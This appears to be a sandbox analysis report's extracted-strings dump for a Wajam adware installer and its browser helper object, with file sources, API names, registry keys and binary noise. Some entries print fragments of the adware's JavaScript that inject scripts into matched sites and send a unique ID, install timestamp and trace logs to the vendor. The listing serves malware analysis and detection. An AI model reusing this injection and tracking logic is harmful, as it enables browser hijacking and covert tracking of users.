Ansi based on Dropped File (priam_bho.dll.1505483275)

N]Hq3NY>gFM2fKm6TUHqC_itt~QM|b5O|?T/#y-`]JjWTb_Z>]fyu(f>b^>g7)%)8@u6(Xas]]vA4bIZSc.lV+R]AF:A*B^Z+%0e`W9ix?1W80b&E3l0OLN@)::6#{PO[Jb'[KUW@

Ansi based on Dropped File (nsqE177.tmp)

nam+-mU-?a|JNRie$p%-

Ansi based on Dropped File (nsqE177.tmp)

NameSpace_Callout

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

NavTimeArray

Unicode based on Runtime Data (iexplore.exe )

nction Utf8Encode(string) {string = string.replace(/\r\n/g,"\n");var utftext = ""; for (var n = 0; n < string.length; n++) { var c = string.charCodeAt(n); if (c < 128) {utftext += String.fromCharCode(c);}else if((c > 127) && (c < 2048)) {utftext += String.fromCharCode((c >> 6) | 192);utftext += String.fromCharCode((c & 63) | 128);}else {utftext += String.fromCharCode((c >> 12) | 224);utftext += String.fromCharCode(((c >> 6) & 63) | 128);utftext += String.fromCharCode((c & 63) | 128);} } return utftext;} var method_name = '';var str = '';var retVal = null;try {var x=Array();var k,AA,BB,CC,DD,a,b,c,d;var S11=7, S12=12, S13=17, S14=22;var S21=5, S22=9 , S23=14, S24=20;var S31=4, S32=11, S33=16, S34=23;var S41=6, S42=10, S43=15, S44=21; string = Utf8Encode(string); x = ConvertToWordArray(string); a = 0x6745

Ansi based on Dropped File (priam_bho.dll.1505483275)

NdrCStdStubBuffer2_Release

Ansi based on Dropped File (priam_bho.dll.1505483275)

NdrDllCanUnloadNow

Ansi based on Dropped File (priam_bho.dll.1505483275)

NdrDllGetClassObject

Ansi based on Dropped File (priam_bho.dll.1505483275)

NdrDllRegisterProxy

Ansi based on Dropped File (priam_bho.dll.1505483275)

NdrDllUnregisterProxy

Ansi based on Dropped File (priam_bho.dll.1505483275)

NdrOleAllocate

Ansi based on Dropped File (priam_bho.dll.1505483275)

NdrOleFree

Ansi based on Dropped File (priam_bho.dll.1505483275)

NdrStubCall2

Ansi based on Dropped File (priam_bho.dll.1505483275)

NdrStubForwardingFunction

Ansi based on Dropped File (priam_bho.dll.1505483275)

NetConnectionID

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

Network 3

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

NeverShowExt

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

New install of "%s" to "%s"

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

New install of "Wajam" to "%PROGRAMFILES%\Wajam"

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

New Wajam version %s is available. Download the update?

Unicode based on Dropped File (priam_bho.dll.1505483275)

Next_Catalog_Entry_ID

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

NextCheckForUpdateHighDateTime

Unicode based on Runtime Data (iexplore.exe )

NextCheckForUpdateLowDateTime

Unicode based on Runtime Data (iexplore.exe )

NextNTPConfigUpdateDate

Unicode based on Runtime Data (iexplore.exe )

NextUpdateDate

Unicode based on Runtime Data (iexplore.exe )

NF#ODno5{LmKxma2

Ansi based on Dropped File (nsqE177.tmp)

ngList' in preferencespriam.background.preferences.set('server_current_mapping_version',new_mapping_list.version);}}response.sendResponse({error:false});}else {response.sendResponse({error:true});}}catch(e) {str += priam.background.trace.add(method_name,'Error Message: '+e.message);}});}}}catch(e) {str += priam.background.trace.add(method_name,'Error Message: '+e.message);}priam.background.ext.debug(method_name,str);},is_valid_mapping_list: function(request, response) {response.sendResponse(priam.background.util.isValidMappingList(request.mappingList));},priam_search_engine_ajax_call: function(request, response){var url = request.url;priam.background.util.download(url, function(url, code, content){if (code == 200) {response.sendResponse({error:false, url: url, data: content });}

Ansi based on Dropped File (priam_bho.dll.1505483275)

nique_id=C7C92D87F1EF2BC54BF1F382E5949857&tv=1.92-13&install_timestamp=1560965831

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.0040A000.00000004.mdmp)

nJBf2@v'DK17LI?'s299si5nyCq{WiH*4,/p7x5Nyzr:Ho[P6J

Ansi based on Dropped File (nsqE177.tmp)

nnnnpededcp`dddfnnnol`aedbar/wdbdfj

Ansi based on Dropped File (nsqE177.tmp)

NoCheckAutodialOverRide

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

NoExplorer

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp="

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.0040A000.00000004.mdmp)

NoNetCrawling

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

noooooojq$$$rrr?"A7,&

Ansi based on Dropped File (nsqE177.tmp)

nooooookpAAA```vvvKjqqqqqqqpppopqqqqqqf$$$~~~m

Ansi based on Dropped File (nsqE177.tmp)

NoRemove Application

Ansi based on Dropped File (nsqE177.tmp)

NoRemove CurrentControlSet

Ansi based on Dropped File (nsqE177.tmp)

NoRemove EventLog

Ansi based on Dropped File (nsqE177.tmp)

NoRemove Services

Ansi based on Dropped File (nsqE177.tmp)

NoRemove SYSTEM

Ansi based on Dropped File (nsqE177.tmp)

NoSimpleStartMenu

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Not Allowed (405)

Ansi based on Dropped File (inetc.dll.1181384010)

Not Available

Ansi based on Dropped File (inetc.dll.1181384010)

not enough space for environment

Unicode based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

not enough space for lowio initialization

Unicode based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

Not Modified

Ansi based on Dropped File (inetc.dll.1181384010)

not_logged_unique_idC7C92D87F1EF2BC54BF1F382E5949857wajam.com/1024100805747230819718100695522630746294*

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

nough space for lowio initialization

Unicode based on Dropped File (priam_bho.dll.1505483275)

NoWebView

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

NQn^U-oHC{$H}"

Ansi based on Dropped File (nsqE177.tmp)

nsfE187.tmp

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.0040A000.00000004.mdmp)

NSIS Error

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

NSIS Plugin

Unicode based on Dropped File (MoreInfo.dll.4230172058)

NSIS_Inetc (Mozilla)

Ansi based on PCAP Processing (PCAP)

nsisos.dll

Ansi based on Dropped File (nsisos.dll.3483858553)

nstalled.

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.0040A000.00000004.mdmp)

NT_USER\Software\Wajam" "skip_new_tab"="true"

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000001.47722.0040A000.00000004.mdmp)

ntime Error!Program:

Unicode based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

NTPDaysSinceLastAutoMigration

Unicode based on Runtime Data (iexplore.exe )

NTPGoldbarCancelText

Unicode based on Runtime Data (iexplore.exe )

NTPGoldbarOKText

Unicode based on Runtime Data (iexplore.exe )

NTPGoldbarText

Unicode based on Runtime Data (iexplore.exe )

NTPLastLaunchHighDateTime

Unicode based on Runtime Data (iexplore.exe )

NTPLastLaunchLowDateTime

Unicode based on Runtime Data (iexplore.exe )

NTPMigrationVer

Unicode based on Runtime Data (iexplore.exe )

NTPMSNintervalInDays

Unicode based on Runtime Data (iexplore.exe )

NTPOnlinePortalVer

Unicode based on Runtime Data (iexplore.exe )

NTPRestoreBarLimit

Unicode based on Runtime Data (iexplore.exe )

null && unique_id !== undefined && unique_id.length === 32) {isValidUniqueId = priam.background.util.isHex(unique_id);}}catch(e) {priam.background.trace.add(method_name,'Error Message: '+e.message);}return isValidUniqueId;},isValidInstallTimestamp: function(install_timestamp) {var method_name = 'isValidInstallTimestamp';var isValidInstallTimestamp = false;try {if (install_timestamp !== null && install_timestamp !== undefined && install_timestamp.length > 0) {isValidInstallTimestamp = true;}}catch(e) {priam.background.trace.add(method_name,'Error Message: '+e.message);}return isValidInstallTimestamp;},isHex: function(entry) {var method_name = 'isHex';var isValidHex = true;try {var validChar='0123456789ABCDEF'; // ok charsvar strlen = entry.length; // test string lengthif ( strlen < 1 ) {isValidHex = false;}else {entry = entry.toUpperCase(); // case insensitive

Ansi based on Dropped File (priam_bho.dll.1505483275)

null ){ isLogged = 'false'; }str += 'isLogged: ' + isLogged + '\n';if( isLogged == 'true' ){//CHECK 'bmAutoSync' IMPORT PREFERENCEpriam.Preferences.get( 'bmAutoSync', function(response) {var bmAutoSync = response.value;str += 'bmAutoSync: ' + bmAutoSync + '\n';if( bmAutoSync == '1' ){// URL - Delete bookmarkvar urlDelete = priam.Url.getDeletedBookmark(url);// Developer Flag debug_show_bookmarkspriam.Preferences.get('debug_show_bookmarks', function(response) {var debug_show_bookmarks = response.value;if (debug_show_bookmarks == 'true') {priam.ext.show('(debug_show_bookmarks)\n'+'priamBookmarkDeleted\n\n'+'url\n'+urlDelete);}});priam.Util.priamSendAjaxRequest({method: 'GET',url: urlDelete,onload: function(xhr) {}});str += priam.Trace.add(method_name,'url: '+urlDelete)

Ansi based on Dropped File (priam_bho.dll.1505483275)

null) { // mappingList NOT FOUNDpriam.Preferences.requestMapping(_document);}else { // mappingListJsonString FOUNDvar mappingList = null;try {mappingList = JSON.parse(mappingListJsonString);}catch(e) {str += priam.Trace.add(method_name,'Error Message: '+e.message);}if (priam.Util.isValidMappingList(mappingList)) {// For IE, remove all scripts know in the actual mappingList// Can't remove with only 'supported_sites.siteName', i need the full string with script_idvar url = _document.location.href;str += priam.Trace.add(method_name,'Detecting site for url: '+url);var siteName = priam.ext.getMatchingSiteName(url,mappingList);str += priam.Trace.add(method_name,'getMatchingSiteName return: '+siteName);var sites = mappingList.supported_sites;if (sites && sites!=undefined) {var site = sites[siteName];if

Ansi based on Dropped File (priam_bho.dll.1505483275)

NullsoftInst4T

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

Num_Catalog_Entries

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Number of results: %i

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

NumberOfSubdomains

Unicode based on Runtime Data (iexplore.exe )

Nv0uvCSa5ei-E^.w!wWJnk>WXL]I5;c8f`i1tla\u-?

Ansi based on Dropped File (nsqE177.tmp)

NzOYmT&G0C>9;ChqMYIi!qO;<[+ #rw;k;=S8q9onaw3?3;9&%<[DL9)}3q*J5*p

Ansi based on Dropped File (nsqE177.tmp)

N|7 vU+At]_^[@jD$D$L$4]@2YZ%dUjUUEMh]@YY]%dSV<$t\$D$T$X@3^[@SQ<$tZ[0-1USP*Pt4P}u%EPP\EPEPEPCuEE[]S@[SVWU~(\>tt|<uOO]_^[@SVW^@W_^[\:SVW_@iWV{_^[\:USEu3URURURURP~Em3EUE3RPEUMQE3RPEUMQ[]2)V^@WVS2tuA)[^_@SV;P+Y^[WVS1t/)1t!F<ar<zw, Warzw )t[^_WP2_uH_S[SVWvJ<uKD$ D$$T$ (@3(_^[SVM^[S[US3]SVW1EM}1EEEt

Ansi based on Dropped File (nsqE177.tmp)

o initialization

Unicode based on Dropped File (priam_bho.dll.1505483275)

o NSIS Plugin

Unicode based on Dropped File (MoreInfo.dll.4230172058)

o!+1Pnrwl0c]r;U``V#<%bK&;;?Y28Z7ve_Ic

Ansi based on Dropped File (nsqE177.tmp)

O$lA!H|%&p"ZRpsx'+!gY)fYx(IB

Ansi based on Dropped File (nsqE177.tmp)

O)|xayW]gXC+JW/X07-MQ$); %#E|V}@ Brz=w{XITHRSdc!%\?!D1#HWfjCXf4`LW_w_xVEE~Qysd5CA2&"3z)aN8n$4`a%ASh)4idhWk1/Rq_K5^,|_|]

Ansi based on Dropped File (nsqE177.tmp)

O*'q|-EQ'}x}I2i-AxNh>{19PI

Ansi based on Dropped File (nsqE177.tmp)

o2orrrrrrk

Ansi based on Dropped File (nsqE177.tmp)

o7=2SOEo(lX<5b\SX

Ansi based on Dropped File (nsqE177.tmp)

O<tf)E\L;Yb3UIFC,_&C[Xd8;6I"y=~emS}I&1'L=l4"Up:hvos":E2

Ansi based on Dropped File (nsqE177.tmp)

o]@U3QQQQ3Uh@d0d EPMUE/E_UEUUEYE}Eu3ZYYdh@EuEt}n]@U3QQQQ3UhJ@d0d EPMUEEUEUUEEE3ZYYdhQ@EtEStm]@Ujjj3Uh@d0d EPMUEE?E7UEUdE`3ZYYdh@Espm]U3QQQQ3UhV@d0d EPMUEEEEWEUEqUE3ZYYdh]@EssEGsl]@U3QQQQ3Uh@d0d EPMUEE3E+E#MUEUMEI3ZYYdh@ErYl]@Ujjj3Uh[@d0d EPMUE{EEUEUE3ZYYdhb@Efrk]UjjIu3Uh@d0d EPMUEE)E!EEEEEEEEEEEEtEEEaEEENEEE;E}t}t}u+4@EEuUEE}EPEPEPEPEPEPEPMUEeE}t}t}u+4@EEuUE7E3UE"E3ZYYdh%@E

Ansi based on Dropped File (nsqE177.tmp)

o_trace = 'true';priam.background.preferences.set('no_trace',no_trace);// GRAB LOGGED AND BOOKMARK FLAGSpriam.background.preferences.getFlagInfo();str += 'Preferences.getFlagInfo()' + '\n';// APPLY 'NEW INSTALLATION' OR 'UPGRADE' BEHAVIOR IF NECESSARYpriam.background.browserLoad.processInstallationUpgrade();str += 'processInstallationUpgrade()' + '\n';// Make sure version is accurate in registry on browser loadpriam.background.preferences.set('version', priam.Config.getVersion());// Affiliate_id validationif(specific_affiliate){priam.background.preferences.set('affiliate_id', specific_affiliate);}var aid = priam.background.preferences.get('affiliate_id');if ( priam.background.util.isValidAffiliateId( aid ) === false ) {str += priam.background.trace.add(method_name,'Bad affiliate_id, going to default to 3672: '+aid);priam.background.preferences.set('affiliate_id','3672');} else { str += 'Good

Ansi based on Dropped File (priam_bho.dll.1505483275)

ocsp.pki.goog

Ansi based on PCAP Processing (PCAP)

ocument) {priam.Events.onEventPriamUpdateMappingList(document);}});},requestMapping: function(document) {priam.Browser.messageManager.sendRequest('request_mapping', {}, function(response){if (!response.error) {priam.ext.onMappingReceived(response.content, document);}});},requestScript: function(path_key,script_id,url,document) {priam.Browser.messageManager.sendRequest('request_script', {url: url}, function(response){if (!response.error) {var content = response.content;priam.ext.onScriptReceived(content, path_key, script_id, document);}});},getUrlsMappingVersion: function(callback) {var method_name = "getUrlsMappingVersion";var mappingListJsonString = prefs['mappingListJsonString'];var mappingList = null;try {mappingList = JSON.parse(mappingListJsonString);}catch(e) {priam.Trace.add(method_name,'Error Message: '+e.message);}if (mappingList !== null) {callback(mappi

Ansi based on Dropped File (priam_bho.dll.1505483275)

od failed.

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

OE};v3S_+ PEPh@u@EF;r[}_^t

Ansi based on Dropped File (nsqE177.tmp)

OFF bmAutoSync IMPORT FLAG PREFERENCEpriam.Preferences.set( 'bmAutoSync', '0'); //TURN OFFstr += 'Preferences.set( \'bmAutoSync\', \'0\')' + '\n';}catch(e){str += priam.Trace.add(method_name,'Error Message: '+e.message);}priam.ext.debug(method_name,str);},onEventCallDestinationMethod: function(event){var method_name = 'onEventCallDestinationMethod';try {var main_doc = priam.Util.getDocument();// Capture caller destination_id and destination_methodvar caller_element = event.target;var destination_id = caller_element.getAttribute('destination_id');var destination_method = caller_element.getAttribute('destination_method');// Capture the destination documentvar destination_htmlDocument;if (destination_id==='') { // Insert in main documentdestination_htmlDocument = main_doc;}else { // Insert in iframe where 'iframe id'==destination_idvar destination_iframe = main_doc.getElementById(destinatio

Ansi based on Dropped File (priam_bho.dll.1505483275)

oftware\Wajam

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000001.47722.0040A000.00000004.mdmp)

og',trace_log);// Log size to sendvar max_log_size = 1024;var log_info_size = priam.background.preferences.get('log_info_size');if (log_info_size && log_info_size!==undefined) {max_log_size = parseInt(log_info_size,10);}// when we have 1k or moreif (trace_log.length >= max_log_size) {priam.background.trace.send();}}}}}catch(e) {//alert('add - Error Message: '+e.message);}return '\n' + text;},send: function() {var trace_log = priam.background.preferences.get('trace_log');if (trace_log && trace_log.length > 0) {// start trace overpriam.background.preferences.set('trace_log','');// URL - Debugvar url = priam.background.url.getDebug();// Added parameters to the POST requestvar unique_id = priam.background.preferences.get('unique_id');var unique_id_array = new Array();if (unique_id !== null) {unique_id

Ansi based on Dropped File (priam_bho.dll.1505483275)

ogram Files\Internet Explorer\iexplore.exe

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.0040A000.00000004.mdmp)

OijX2[u9X7%.Rt0LI8C&zJ;^MGZ+7\i.x5!<YWIO}aroO-X,*xE(]Ke`q%zX+X"1|As

Ansi based on Dropped File (nsqE177.tmp)

ole device

Unicode based on Dropped File (priam_bho.dll.1505483275)

ole){console.debug(new Date().getTime() - start+' '+method_name);}},show: function(message){if(console){console.debug(message);}},getMatchingSiteName: function(url,mappingList) {var str = '';var siteName_retVal = null;try {var method_name = 'getMatchingSiteName';var match = false;var supported_sites = null;var pattern_array;var pattern_position;var onePattern;var pattern_array_length;supported_sites = mappingList.supported_sites;for (var siteName in supported_sites) {// Grab the pattern list for priam.ext sitepattern_array = supported_sites[siteName].patterns;if (pattern_array === null) break;// Try each pattern to find a matchpattern_array_length = pattern_array.length;for (var i=0; i<pattern_array_length;i++) { // Try each pattern to find a matchonePattern = pattern_array[i];str += 'onePattern: '+onePattern+'\n';try {match = (url.search(onePatter

Ansi based on Dropped File (priam_bho.dll.1505483275)

ole32.dll

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

OLEAUT32.DLL

Unicode based on Dropped File (priam_bho.dll.1505483275)

OLEAUT32.dll

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

OleInitialize

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

OleUninitialize

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

oLowerCase();}catch(e) {str += priam.Trace.add(method_name,'Error Message: '+e.message);}priam.ext.debug(method_name,str);return retVal;}};priam.Events = {browserLoad: true,onEventAjaxCall: function(event) {var method_name = 'onEventAjaxCall';if (document.addEventListener) {event = event.target;}priam.Util.priamAjaxCall(event);},onEventBmAutoSyncOn: function(event) {var method_name = 'onEvent_'+priam.Config.event_name.bmAutoSyncOn;var str = '';try {// AUTO SYNC ON ( bmAutoSync )priam.Preferences.set( 'bmAutoSync', '1');str += 'Preferences.set( \'bmAutoSync\', \'1\')' + '\n';priam.Preferences.getFlagInfo(null);}catch(e) {str += priam.Trace.add(method_name,'Error Message: '+e.message);}priam.ext.debug(method_name,str);},onEventBmAutoSyncOff: function(event) {var method_name = 'onEvent_'+priam.Config.event_name.bmAutoSyncOff;var str = '';try {//TUR

Ansi based on Dropped File (priam_bho.dll.1505483275)

ompanyName

Unicode based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.0040A000.00000004.mdmp)

on_just_logged_out: function(e) {var method_name = 'on_just_logged_out';// Developer Flag debug_show_eventsvar debug_show_events = prefs['debug_show_events'];if (debug_show_events == 'true') {priam.ext.show('(debug_show_events)\n'+'Event: \''+priam.Config.event_name.justLoggedOut+'\'');}priam.Events.onEventJustLoggedOut(e);},on_priam_ajax_call: function(e) {var method_name = 'on_priam_ajax_call';// Developer Flag debug_show_eventsvar debug_show_events = prefs['debug_show_events'];if (debug_show_events == 'true') {priam.ext.show('(debug_show_events)\n'+'Event: \''+priam.Config.event_name.ajax_call+'\'');}priam.Events.onEventAjaxCall(e);},on_priam_update_mapping_list: function(e) {//var document = priam.Util.getDocument();var document = e.target;var method_name = 'on_priam_update_mapping_list';// Developer Flag debug_show_eventsvar debug_show_events = prefs['debug_show_events'];if (de

Ansi based on Dropped File (priam_bho.dll.1505483275)

onent Categories

Unicode based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

Only Internet Explorer code should write this user setting. See http://go.microsoft.com/fwlink/?LinkId=159651 for more details.

Ansi based on Hybrid Analysis (IE_approveExt.exe , 00047133-00001096.00000000.47259.00201000.00000020.mdmp)

OOBEInProgress

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

ooo9_q<izUUU@>AWUW'&'

Ansi based on Dropped File (nsqE177.tmp)

ooohhhhhhxxx@@@VVV---OOOvvvZZZiiifffhhhhhh999444ccc|||^^^ccc!!!]]]MMM+++ppp222666(((RRRNNN!!!FFFUUU===mmmfffiii```JJJ<<<XXXwwwIP;P,>tQg4M^u/JQd=fZm@ZLdReOcdxLaNazk~Ib=W\m=X5PZih|FZWmBXeuav_sIa`pBYYoSfE[cvav{D^Zh?YF`UgK_}Wmyv|'|(|(|(|(|(|(|(sZ+{%|(|(|(|(|(|(|'rTm

Ansi based on Dropped File (nsqE177.tmp)

Open Internet Error

Ansi based on Dropped File (inetc.dll.1181384010)

open service

Unicode based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

Open URL Error

Ansi based on Dropped File (inetc.dll.1181384010)

OpenClipboard

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

OpenProcess

Ansi based on Dropped File (ExecCmd.dll.1695374911)

OpenProcessToken

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

OpenRequest Error

Ansi based on Dropped File (inetc.dll.1181384010)

OpenSCManagerW

Ansi based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

OpenServiceW

Ansi based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

or a pattern in the matching listvar url = _document.location.href;str += priam.Trace.add(method_name,'Looking for a pattern matching: '+url);var siteName = priam.ext.getMatchingSiteName(url,mappingList); // try to get matching site object for priam.ext urlstr += priam.Trace.add(method_name, 'getMatchingSiteName return: ' +siteName);if (siteName) { // if a pattern is foundstr += priam.Trace.add(method_name,'Found supported site: '+siteName);// Check for main sitepriam.ext.processSupportedSite(_document,siteName,mappingList);// Check for iframe, if specifiedvar siteObject = mappingList.supported_sites[siteName];if (siteObject.support_iframe === true) {str += priam.Trace.add(method_name,'Check for iframes');// Listener for injecting code in document/iframe_document.addEventListener('callDestinationMethod',function(e) {// Developer Flag debug_show_eventsvar debug_show_events =

Ansi based on Dropped File (priam_bho.dll.1505483275)

OriginalFilename

Ansi based on Dropped File (MoreInfo.dll.4230172058)

OriginalFilenameMoreInfo.dllJProductNameMoreInfo NSIS Plugin,ProductVersion1.0v/CommentsImproves the customer installation experience.*SpecialBuildANSIDVarFileInfo$Translation|"0E0i0p00000001"191T1o1111112,2G2b222222222223<3V3]3e3j3q3v333333333334444"4MZ@!L!This program cannot be run in DOS mode.

Ansi based on Dropped File (nsqE177.tmp)

osplatform

Ansi based on Dropped File (nsisos.dll.3483858553)

osversion

Ansi based on Dropped File (nsisos.dll.3483858553)

ot enough space for environment

Unicode based on Dropped File (priam_bho.dll.1505483275)

ound.preferences.set( 'version', versionActual );str += priam.background.trace.add(method_name,'version set to : '+versionActual);}}catch(e) {str += priam.background.trace.add(method_name,'Error Message: '+e.message);}priam.background.ext.debug(method_name,str);},/** * Executed on first load when starting browser * @param event */processBrowserLoad: function(event) {var method_name = 'processBrowserLoad';var str = '';try {// Developer Flag debug_show_browser_loadvar debug_show_browser_load = priam.background.preferences.get('debug_show_browser_load');if (debug_show_browser_load == 'true') {priam.background.ext.show('(debug_show_browser_load)\n'+'processBrowserLoad');}// Read no_trace keyvar no_trace = priam.background.preferences.readNoTrace(); // Registryif (no_trace===null) no_trace = priam.background.preferences.get('no_trace'); // localStorageif (no_trace !== 'false')

Ansi based on Dropped File (priam_bho.dll.1505483275)

ovvvIPP[Ck

Ansi based on Dropped File (nsqE177.tmp)

OW19+ss8K@0=<m~

Ansi based on Dropped File (nsqE177.tmp)

own exception

Ansi based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

owner user name: %S

Ansi based on Hybrid Analysis (IE_approveExt.exe , 00047133-00001096.00000000.47259.00201000.00000020.mdmp)

oy`uN->SLvg_Ktu*mEJJf=xPkB7-AIG~RwGb^E>le!7V|]6|FP#vT`JjtH-_{Um;|7>QX>TR[s(ZD~cH]t]b[i%B-:*7)h;J4GN::=54v289(q8e7#dIG>,fux54"C-w<Q|'zQXa'$oS_>fc|+kN@e^wm&>vj(DVePKGBjchrome.manifestE

Ansi based on Dropped File (nsqE177.tmp)

ozillaUIWindowClass

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000001.47722.0040A000.00000004.mdmp)

P @(q@s}bvTMF04&ZfO}(=}00l)

Ansi based on Dropped File (nsqE177.tmp)

P$<$|$+D$;@ug@;D$|SD$)@D$@=@}@@5@3@+@E%uIuMH$$;L$}$$)D$,*D$)$<$|$y:4$#.t!%T$t

Ansi based on Dropped File (nsqE177.tmp)

P$hjQ+c?vL,;~O|c}Q*goQ

Ansi based on Dropped File (nsqE177.tmp)

p&bT6&kDc|*U;%H=1`ipC\y!L}mzF&t{,ge;5-q$q]xJi:+48JoXsZukVu_O,j:x6L9qryQ$:JDWj_X\Qkb^?V`J?_>lR@<FAhqw)ABZ9r>

Ansi based on Dropped File (nsqE177.tmp)

P&Y>uUQuEuPyP}EUjh"AdPQ !DA3ESVWPEdeEE36;VPPuYYu

Ansi based on Dropped File (nsqE177.tmp)

P(@uVt$V8\tPV@;w @^L$ f9\\t<a|

Ansi based on Dropped File (nsqE177.tmp)

P)PCancel0$141O1y111111112222$2A2Q2l2t2z2222223323?3S3`3p3}333333334

Ansi based on Dropped File (nsqE177.tmp)

P.&YFtP.fYfVFW3~,x2;}.4#Y;~}F4FGY;|_3^jjjh0AUVuW~W0AFW0A_^]j!Au\AVEFxtP@0AuE4V3VQ0Au0A;~

Ansi based on Dropped File (nsqE177.tmp)

P0& Ou_^QD$SUVW\$A{u3C3+HHHt|HtcHtH3h@UD0X@Pj@0X@PW6L0X@3QQPUPWQQ40W03bX@WWPUP6WW40L600X@;rxGP6U0$/Uv6rf6Sh4@U0C;tL$9u9{~P0C;tuU^

Ansi based on Dropped File (nsqE177.tmp)

P0A9tT0AM3[

Ansi based on Dropped File (nsqE177.tmp)

P0E9E}@3GF3;}~ubMxFEEEt;tt~3.E'Ef3A|}3D!e}t.~utWuue~tWuuP}EE ;;_ ^[D$|$8@u;h<@j@jhL@<03L@<@D@T@H@@@N@3@D$D$D$ D$j XjXjXjXD$D$`D$@Q=L$r-=s+@PD$L$L$uD$SD$d$D$[WVS3D$}GT$D$T$D$}GT$D$T$uL$D$3D$AL$T$D$ud$D$r;T$wr;D$vN3Ou[^_SW3D$}GT$D$T$D$}T$D$T$uL$D$3D$3OyNSL$T$D$ud$d$r;T$wr;D$v+D$T$+D$T$Oy_[@s s333@s s1*181F1V1b1n1|111111112&2P2>2020122D01b2L01*181F1V1b1n1|111111112&2P2>2GlobalAllocGlobalFreeGlobalSizeqGetLastErrorlstrcpyAlstrcpynAFreeLibrarylstrcatAGetProcAddressRLoadLibraryAGetModuleHandleAuMultiByteToWideCharlstrlenAWideCharToMultiByteVirtualAllocVirtualProtectKERNEL32.dllwsprintfAUSER32.dllCLSIDFromString5StringFromGUID2ole32.dllK2222/222223

Ansi based on Dropped File (nsqE177.tmp)

p2AUSW^S0A39~~FuP0AtG;~|u3x;~}F<S0A_[]jjjh0Aj!A39EtEuE0AupUQD9S;;;F|?N?zN;}^ejQEPxWuS2AtIFx@V;}9+;1VB?RuQP,P/>N3fA3@3[jd!AF}VN'V0Ad}eejPEEP y3u 2A3E;t3fM;uQ2AhA3EMMEEf9!}}uLhXAP*YYt9;u351AQPPPh\Au%bEj'Yf;u=}uEm51APj'Yf;tE 33PGu}u6{uE}u$Mu}uhX\AuEf8%Pu1Af8%uEP3Gu31Af8}Eeu2AEj%YtY+ZPQEj P*PsEPt(Put39;{31A;uhE|E@pEd@ZUV3uf;MtP1Afu^]UAuU

Ansi based on Dropped File (nsqE177.tmp)

